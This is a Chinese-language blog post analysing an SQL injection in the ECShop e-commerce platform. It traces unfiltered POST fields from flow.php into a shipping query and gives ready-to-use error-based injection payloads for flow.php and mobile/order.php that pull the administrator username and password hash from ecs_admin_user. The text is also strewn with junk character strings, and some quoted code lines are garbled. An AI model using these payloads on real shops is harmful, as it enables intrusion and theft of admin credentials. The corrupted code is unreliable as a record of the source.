ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

    /includes/lib_order.php
; v$ w6 U9 d. F2 O" F
    关键函数：
# X, a5 n5 z+ Y! }


01     function available_shipping_list($region_id_list)
% |: l" O/ h1 j( m, A: ?& [4 F
02 {

4 @+ ?- w: F" D03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
7 r1 R2 J, x3 c" d
. e+ S8 [* g) N' q6 A# I) ]04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

  v9 c/ J0 u5 ^05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

7 m/ M) E" g4 P7 J6 ]$ K06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
# }3 p6 p7 F4 \/ ~0 X/ k
" ?1 I# X* [7 u08             'WHERE r.region_id ' . db_create_in($region_id_list) .
% _/ D' z, n) D; Y3 r, I
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
% s& [. f: r( i* o# U7 p, C
/ o" f9 _- m6 f$ |$ i10   
+ \. f$ |3 V1 T/ f. x* P, J/ L
, v# j' G8 @; Q; _  j11     return $GLOBALS['db']->getAll($sql);

12 }

显然对传入的参数没有任何过滤就带入了查询语句。

1 K$ V: ?# H- S" v1 k下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);



+ x. P; V  K& `/ v6 x  T- b
* F' L2 r' H: i9 l6 Z0 h
再对传入变量进行追踪：
9 P3 K' M* F! Q3 i. x
: C( O- {4 _+ P2 t, P* u6 K6 Q第530行：   
  `7 ^8 G0 O* n% U  U: f+ H0 N5 S
- z' X+ f5 E' r3 W4 S! x- |4 y4 L1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);





第473行：        
" Y/ t" l) v" g! Z# ]+ n' _
1 $consignee = get_consignee($_SESSION['user_id']);
, V6 c* d2 E2 N% R( o
到了一个关键函数：
2 m6 O$ X% d) D, H
/includes/lib_order.php


1 w& n! i7 y/ j7 t8 H

: e6 \( E1 l$ x
01 function get_consignee($user_id)

02 {

2 \% `% d1 h1 }* I4 p5 o03     if (isset($_SESSION['flow_consignee']))
9 _" r( Q6 I# T' W
04     {
; m1 w9 K* h) ?
7 V$ q7 ?9 w3 L! s" |+ K05         /* 如果存在session，则直接返回session中的收货人信息 */
2 o5 ]" I( G9 `1 f$ X9 c# }7 N
06   
' ^# J$ L( D" _/ R) i7 w6 e
07         return $_SESSION['flow_consignee'];

+ O" [: B; n' O$ {  W08     }

* ^- c3 B8 s+ P9 ?) _3 x5 L09     else
/ g# k9 C1 t0 r1 g0 L. ]1 S
; [2 R8 ]0 G; E0 Q$ J1 {& I10     {

/ |- J# k* @) D0 A# q' J4 W11         /* 如果不存在，则取得用户的默认收货人信息 */
& S( S8 a# a5 P- n6 O% A
* C1 b" U) ]7 @3 }" M7 C12         $arr = array();
/ B' K% I5 Z" Q# W" S
13   
" A( I) L* I! P9 `+ ~3 G' s
. i- w1 q/ }* P2 I  @" j' i14         if ($user_id > 0)
, b6 M) O( |' s, `1 j4 F
$ p, U3 r# V$ @: ]0 g15         {
- E3 p1 N" f' K2 W
5 I8 B; S, P, _: e  F16             /* 取默认地址 */
3 {! \! k0 L0 z. l, j# T' |6 R
17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* k4 c  |0 r* O* o9 ~
20   
6 r& S2 ?- D7 O  ?2 {0 {
21             $arr = $GLOBALS['db']->getRow($sql);

# E5 _, T: \. n7 w7 ~22         }
9 Q$ G9 u5 R) X: b: _4 @$ P: ~4 t
5 d$ Z" i9 x. d2 ^& r23   
- t" q% L& w+ r0 d0 D6 F" z, I
  d/ T' `- v8 I3 t) g24         return $arr;

25     }
( y3 g  ^, V0 [: {4 o
26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？


! {# b# e/ \) B% H4 W
关键点:

' E. {: F  M0 y# n第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
  J+ m6 A6 d6 v2 C" J4 M% T
这里对传入参数反转义存入$_SESSION中。
3 O/ b, s: W5 s! d* C4 n

( g6 H' @5 a) F2 H! o
然后看下：
# Q  S; q- [! N& x/ R
, y0 I4 G% Z0 a  w  J4 H
& m6 q: l  o1 g2 f
   
2 K1 w& r4 q) Y- g
01 $consignee = array(
3 l! z* g: E6 T/ `2 |" f* f& I
0 \7 ]( M2 k' z- M' }02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

$ B# N- f$ V/ C6 U03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
/ r4 A' k8 |) F0 r
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

, d; X% j: l- F  x# }4 I. S05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
# ^) ~% k' O$ z8 _3 b/ @
$ c( F8 S6 X) Q  ~06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
8 Z0 Q  e# a- ~# Y; s/ M
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

+ v/ g8 I. N" }  v10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

0 l" ]2 K  ~" }  o. n# h11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

0 w  _) l$ i9 c' ?5 H12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
  w5 ~6 `- x; q" q/ q
6 H% @) C% m6 {" k0 i1 G1 `/ G0 v13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
5 l& Z0 ~' z0 }8 @: V7 k0 n
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
) `: s- G1 f" N" h; f8 \2 ]" G
好了注入就这样出现了。
5 F* i0 I: e- l# C3 F1 H* q
$ U4 g* J$ P0 \2 `; J==================
# _! F6 @8 ^2 _& [
4 v" L9 L- n; Q. f! `  v8 C0 n注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

; A- q+ `+ }9 F+ x8 h$ f5 U2 u测试程序：ECShop_V2.7.3_UTF8_release1106
! L! o4 c/ f1 z6 F7 V% C. x& f) ]


" B  E  B. _( T, n1 E+ x' u2 H( z8 _1.首先需要点击一个商品加入购物车
1 c6 g' B; C) Q: e6 i; R
, J8 N9 z$ U- x- j  f7 K2.注册一个会员帐号
/ i) e* v; r& ~. Y" @
7 @+ i/ z! F6 Q/ Q% q2 o5 Z$ N3.post提交数据
. Q: Y4 T" V& T* M/ U( \% {
0 l5 P$ _% _3 F8 n4 @. ?
5 I$ r" b* j( R* D, X! b# ?, ~
1 http://127.0.0.1/ecshop/flow.php

2   
1 q3 i, g9 Z' C$ u# J% F
" P& X# ?) D- j& L9 w$ k3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 C+ y/ e( J0 t举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
% `+ o1 A$ S0 h. I/ Q7 y
4 a6 u. G! |. H0 O. J4 E在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:
6 {+ ]8 l4 b+ D: @
4 g) I3 ?, a6 `/ K1 ~' L8 Z: a1.点击一个商品，点击购买商标
' Y2 X- X) b! }9 T: P. n) K+ _
4 E" ^" G4 H. t. T5 P; O% M! E$ Z8 d4 b2.登录会员帐号
. v; G+ g" K$ H6 u& e
# Q' v' c: |, f8 g5 {6 j" Q3 N3.post提交：

1 g* w0 N, d/ e9 J# _+ Ghttp://127.0.0.1/ecshop/mobile/order.php
5 G# n* y2 K5 P" o  e# K! f


country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
2 X7 e% j4 ^# C, U; L( r